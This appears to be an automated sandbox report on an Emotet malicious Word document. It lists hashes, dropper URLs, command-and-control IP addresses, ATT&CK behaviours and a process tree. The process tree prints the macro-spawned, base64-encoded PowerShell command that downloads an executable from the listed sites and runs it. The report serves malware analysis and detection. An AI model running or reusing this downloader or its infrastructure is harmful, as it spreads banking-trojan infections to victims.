emotet | 13b1f46a749e4cc9b3bf917bb29bac23d8c73b5fd97982cc625304ca1ed50edf

General

Target
emotet_e2_13b1f46a749e4cc9b3bf917bb29bac23d8c73b5fd97982cc625304ca1ed50edf_2020-08-19__175253._doc.doc
Size 201KB
Sample200819-4sbmaedctx
SHA256 13b1f46a749e4cc9b3bf917bb29bac23d8c73b5fd97982cc625304ca1ed50edf
MD5 1687478a66ee376751289a84e8c491c7
SHA1 1fe324cd2a2825ed0ea499a6d74ac5a93257bb98
SHA512 50d9e50c413bc511186cddcd9f19945729087e17733de4e2c77e8062d15fdd4ef4c63ccf41ea64c7d0a3fb4ec924ff70f1227328776f8633936897c6849ea201
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://ruskinc.com/7k2ql/zmIt/
exe.dropper
http://agapewilderness.com/wordpress/cj5O/
exe.dropper
https://jaycetelescope.com/wp-admin/rSX1k/
exe.dropper
https://nypthealing.com/wp-includes/hsiA/
exe.dropper
https://5aby.com/wp-includes/Mr/
exe.dropper
https://comfy-n-cozy-deals.com/wp-admin/BXFFX/
exe.dropper
http://getmodels.net/sys-cache/po/

Extracted

Family

emotet

C2

64.183.73.122:80
69.30.203.214:8080
67.205.85.243:8080
222.214.218.37:4143
104.236.246.93:8080
110.145.77.103:80
89.186.91.200:443
74.120.55.163:80
95.179.229.244:8080
70.167.215.250:8080
47.146.117.214:80
209.141.54.221:8080
24.43.99.75:80
103.86.49.11:8080
142.105.151.124:443
62.138.26.28:8080
24.179.13.119:80
37.187.72.193:8080
137.59.187.107:8080
97.82.79.83:80
24.137.76.62:80
121.124.124.40:7080
5.196.74.210:8080
81.2.235.111:8080
87.106.139.101:8080
173.62.217.22:443
24.233.112.152:80
87.106.136.232:8080
104.131.11.150:443
201.173.217.124:443
85.66.181.138:80
107.185.211.16:80
68.44.137.144:443
68.188.112.97:80
113.160.130.116:8443
5.39.91.110:7080
95.213.236.64:8080
181.211.11.242:80
188.83.220.2:443
181.230.116.163:80
85.152.162.105:80
104.131.44.150:8080
203.117.253.142:80
169.239.182.217:8080
72.12.127.184:443
75.139.38.211:80
85.105.205.77:8080
168.235.67.138:7080
204.197.146.48:80
200.41.121.90:80
2.58.16.85:7080
190.160.53.126:80
109.116.214.124:443
78.24.219.147:8080
37.70.8.161:80
74.208.45.104:8080
116.203.32.252:8080
185.94.252.104:443
180.92.239.110:8080
79.98.24.39:8080
167.86.90.214:8080
152.168.248.128:443
157.245.99.39:8080
91.211.88.52:7080
41.60.200.34:80
83.169.36.251:8080
37.139.21.175:8080
47.144.21.12:443
61.19.246.238:443
139.130.242.43:80
174.137.65.18:80
157.147.76.151:80
153.163.83.106:80
98.109.204.230:80
176.111.60.55:8080
189.212.199.126:443
62.75.141.82:80
93.51.50.171:8080
190.55.181.54:443
203.153.216.189:7080
109.74.5.95:8080
174.102.48.180:80
93.147.212.206:80
139.59.60.244:8080
46.105.131.79:8080
199.101.86.142:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	984	3908	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/480-13-0x00000000005F0000-0x00000000005FC000-memory.dmp	emotet
behavioral2/memory/480-13-0x00000000005F0000-0x00000000005FC000-memory.dmp	emotet
behavioral2/memory/1296-16-0x00000000004B0000-0x00000000004BC000-memory.dmp	emotet
behavioral2/memory/1296-16-0x00000000004B0000-0x00000000004BC000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
9	984	powersheLL.exe
10	984	powersheLL.exe
12	984	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
480	Hcfyj48d.exe
1296	WindowsDefaultHeatProcessor.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msctfp\WindowsDefaultHeatProcessor.exe	Hcfyj48d.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2928	WINWORD.EXE
2928	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
984	powersheLL.exe
984	powersheLL.exe
984	powersheLL.exe
1296	WindowsDefaultHeatProcessor.exe
1296	WindowsDefaultHeatProcessor.exe
1296	WindowsDefaultHeatProcessor.exe
1296	WindowsDefaultHeatProcessor.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	984	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
2928	WINWORD.EXE
480	Hcfyj48d.exe
480	Hcfyj48d.exe
1296	WindowsDefaultHeatProcessor.exe
1296	WindowsDefaultHeatProcessor.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 984 wrote to memory of 480	984	powersheLL.exe	75
PID 984 wrote to memory of 480	984	powersheLL.exe	75
PID 984 wrote to memory of 480	984	powersheLL.exe	75
PID 480 wrote to memory of 1296	480	Hcfyj48d.exe	76
PID 480 wrote to memory of 1296	480	Hcfyj48d.exe	76
PID 480 wrote to memory of 1296	480	Hcfyj48d.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_13b1f46a749e4cc9b3bf917bb29bac23d8c73b5fd97982cc625304ca1ed50edf_2020-08-19__175253._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2928

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTAG0ANABqAHEAZAB0AD0AKAAnAFkAYwBoAF8AeAAnACsAJwBnAG4AJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQAZQBuAHYAOgBUAGUAbQBQAFwATwBGAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAGAAVQByAEkAYABUAFkAUAByAE8AVABPAGAAYwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAgAHQAJwArACcAbABzADEAMQAsACAAJwArACcAdABsAHMAJwApADsAJABOADEAZQBnADYAZwBrACAAPQAgACgAJwBIACcAKwAnAGMAZgB5AGoANAA4ACcAKwAnAGQAJwApADsAJABJAGgAdAA4AHYANgB6AD0AKAAnAE8AJwArACcAMgBiAGkAYwAnACsAJwBwAHEAJwApADsAJABOAGYAdQBrADQAawBkAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBzADAANwBPAGYAZgBpACcAKwAnAGMAZQAnACsAJwAyADAAJwArACcAMQA5AHMAMAA3ACcAKQAgACAALQByAGUAUABsAEEAYwBlACAAKABbAEMASABhAFIAXQAxADEANQArAFsAQwBIAGEAUgBdADQAOAArAFsAQwBIAGEAUgBdADUANQApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAE4AMQBlAGcANgBnAGsAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAEEAbQAyAGMAZABhAG4APQAoACcATAA3ADMAYgB4ACcAKwAnADYAOAAnACkAOwAkAFMAdwAwAHkANAA1AGQAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAGIAYwBsAGkARQBOAHQAOwAkAEoAdQBfADEAagBiADMAPQAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwByACcAKwAnAHUAcwBrAGkAJwArACcAbgBjAC4AYwBvAG0ALwA3AGsAJwArACcAMgBxAGwALwB6ACcAKwAnAG0AJwArACcASQB0AC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAnACsAJwAvAGEAZwAnACsAJwBhACcAKwAnAHAAZQB3AGkAbABkAGUAJwArACcAcgAnACsAJwBuAGUAcwAnACsAJwBzACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACcALwB3AG8AcgBkACcAKwAnAHAAcgBlAHMAcwAnACsAJwAvACcAKwAnAGMAagA1AE8ALwAqAGgAdAB0AHAAcwA6AC8ALwBqACcAKwAnAGEAeQBjACcAKwAnAGUAJwArACcAdABlACcAKwAnAGwAZQBzACcAKwAnAGMAbwAnACsAJwBwACcAKwAnAGUALgBjAG8AbQAvAHcAcAAtAGEAZAAnACsAJwBtACcAKwAnAGkAbgAvAHIAUwBYADEAJwArACcAawAvACoAaAB0AHQAcABzADoALwAvACcAKwAnAG4AeQBwACcAKwAnAHQAaABlAGEAbAAnACsAJwBpAG4AZwAuAGMAJwArACcAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AaQBuAGMAbAB1AGQAJwArACcAZQAnACsAJwBzAC8AaABzAGkAQQAvACoAaAB0AHQAJwArACcAcABzADoALwAnACsAJwAvADUAYQBiACcAKwAnAHkALgBjAG8AbQAnACsAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjAGwAdQBkAGUAcwAnACsAJwAvAE0AcgAnACsAJwAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoAJwArACcALwAvAGMAbwBtACcAKwAnAGYAeQAtAG4ALQAnACsAJwBjAG8AegB5AC0AZABlAGEAbABzAC4AYwBvAG0ALwB3AHAAJwArACcALQAnACsAJwBhAGQAJwArACcAbQBpAG4ALwBCAFgARgBGACcAKwAnAFgALwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvAC8AZwBlAHQAJwArACcAbQBvAGQAZQBsAHMALgAnACsAJwBuACcAKwAnAGUAdAAvAHMAJwArACcAeQBzACcAKwAnAC0AYwBhACcAKwAnAGMAaABlAC8AcABvAC8AJwApAC4AIgBTAFAAYABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMANQBlADcAYQB4AG4APQAoACcATgAnACsAJwB1ACcAKwAnAGMAcABsAHIAaQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABXADIAegBxAG8AYQBsACAAaQBuACAAJABKAHUAXwAxAGoAYgAzACkAewB0AHIAeQB7ACQAUwB3ADAAeQA0ADUAZAAuACIAZABvAGAAVwBuAGAAbABPAGEARABmAGkAYABsAEUAIgAoACQAVwAyAHoAcQBvAGEAbAAsACAAJABOAGYAdQBrADQAawBkACkAOwAkAFMAYgBpAHIAZgBhAG0APQAoACcAVgBnAHIAJwArACcAMQBkAHgANQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQATgBmAHUAawA0AGsAZAApAC4AIgBsAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADMANAAwADUAMAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABOAGYAdQBrADQAawBkACkAOwAkAFAAdABqAGsAdQB3AG8APQAoACcATwB1ACcAKwAnAHUAMAA5AGIAOQAnACkAOwBiAHIAZQBhAGsAOwAkAEMAbQB2AHcAcQBrAHoAPQAoACcAVQBiACcAKwAnADYAZgAnACsAJwB5AGQANwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAdwAxADAAXwBuAGYAPQAoACcAVwBzAHcAcgA0ACcAKwAnAG8AOAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:984
- C:\Users\Admin\AppData\Local\Temp\Office2019\Hcfyj48d.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Hcfyj48d.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:480
- - C:\Windows\SysWOW64\msctfp\WindowsDefaultHeatProcessor.exe
    "C:\Windows\SysWOW64\msctfp\WindowsDefaultHeatProcessor.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1296

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/480-13-0x00000000005F0000-0x00000000005FC000-memory.dmp

Download

memory/984-8-0x0000028CBC390000-0x0000028CBC391000-memory.dmp

Download

memory/984-7-0x00007FFAD6690000-0x00007FFAD707C000-memory.dmp

Download

memory/984-9-0x0000028CBC680000-0x0000028CBC681000-memory.dmp

Download

memory/1296-16-0x00000000004B0000-0x00000000004BC000-memory.dmp

Download

memory/2928-6-0x0000023C08B82000-0x0000023C08B8E000-memory.dmp

Download

memory/2928-0-0x00007FFADE330000-0x00007FFADE9F6000-memory.dmp

Download

memory/2928-5-0x0000023C08B82000-0x0000023C08B8E000-memory.dmp

Download

memory/2928-4-0x0000023C08B82000-0x0000023C08B8E000-memory.dmp

Download

memory/2928-3-0x0000023C08B82000-0x0000023C08B8E000-memory.dmp

Download

memory/2928-2-0x0000023C08A62000-0x0000023C08A67000-memory.dmp

Download

memory/2928-1-0x0000023C08A67000-0x0000023C08A6C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads